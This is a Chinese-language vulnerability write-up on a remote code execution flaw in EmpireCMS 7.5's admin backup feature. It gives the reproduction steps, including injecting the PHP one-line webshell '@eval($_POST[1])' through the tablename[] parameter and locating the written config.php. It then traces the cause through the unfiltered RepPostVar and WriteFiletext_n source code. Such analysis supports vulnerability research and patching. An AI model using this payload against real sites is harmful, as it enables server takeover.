帝国CMS RCE CNVD-2018-19126
1.漏洞复现
帝国CMS 7.5,http://ecms.phome.net/downcenter/empirecms/ecms75/download/EmpireCMS_7.5_SC_UTF8.zip
复现
登录后台
系统->备份与恢复数据->备份数据(随便选一个表)->开始备份(抓包)
POST /e/admin/ebak/phome.php HTTP/1.1
...
...&phome=DoEbak&...&tablename%5B%5D=phome_ecms_article&...
将 tablename[] 的值改为 @eval($_POST[1])
系统->备份与恢复数据->管理备份目录->查看备份说明
一句话木马路径:当前 URL 将 readme.txt 改为 config.php
2.正向分析
从可见功能点正向分析
/e/admin/ebak/phome.php
$phome=$_GET['phome'];
...
//初使化备份表
elseif($phome=="DoEbak")
{
Ebak_DoEbak($_POST,$logininid,$loginin);
}
调用了 Ebak_DoEbak函数 处理 POST请求
/e/admin/ebak/class/functions.php
Ebak_DoEbak函数
//初使化备份
function Ebak_DoEbak($add,$userid,$username){
...
$tablename=$add['tablename'];
$count=count($tablename);
...
$b_table="";
...
for($i=0;$i<$count;$i++){
$tablename[$i]=RepPostVar($tablename[$i]);
$b_table.=$tablename[$i].",";
...
}
//去掉最后一个,
$b_table=substr($b_table,0,strlen($b_table)-1);
...
$string="<?php
\$b_table=\"".$b_table."\";
...
?>";
$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string);
$add 是 $_POST,一句话被 RepPostVar函数 过滤后传入 $b_table,最后通过 WriteFiletext_n函数 写入 config.php
/e/class/connect.php
RepPostVar函数
没有过滤掉一句话
//参数处理函数
function RepPostVar($val){
if($val!=addslashes($val))
{
exit();
}
CkPostStrChar($val);
$val=str_replace("%","",$val);
$val=str_replace(" ","",$val);
$val=str_replace("`","",$val);
$val=str_replace("\t","",$val);
$val=str_replace("%20","",$val);
$val=str_replace("%27","",$val);
$val=str_replace("*","",$val);
$val=str_replace("'","",$val);
$val=str_replace("\"","",$val);
$val=str_replace("/","",$val);
$val=str_replace(";","",$val);
$val=str_replace("#","",$val);
$val=str_replace("--","",$val);
$val=RepPostStr($val,1);
$val=addslashes($val);
//FireWall
FWClearGetText($val);
return $val;
}
WriteFiletext_n函数
直接写入文件
//写文件
function WriteFiletext_n($filepath,$string){
global $public_r;
$fp=@fopen($filepath,"w");
@fputs($fp,$string);
@fclose($fp);
if(empty($public_r[filechmod]))
{
@chmod($filepath,0777);
}
}
/e/admin/ebak/class/functions.php
Ebak_DoEbak函数
思路回到 Ebak_DoEbak函数
//初使化备份
function Ebak_DoEbak($add,$userid,$username){
...
$rfile=$bakpath."/".$add['mypath']."/readme.txt";
...
$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string);
可以看出来 readme.txt 和 config.php 的路径是一样的,而 readme.txt 的路径是可知的,造成了RCE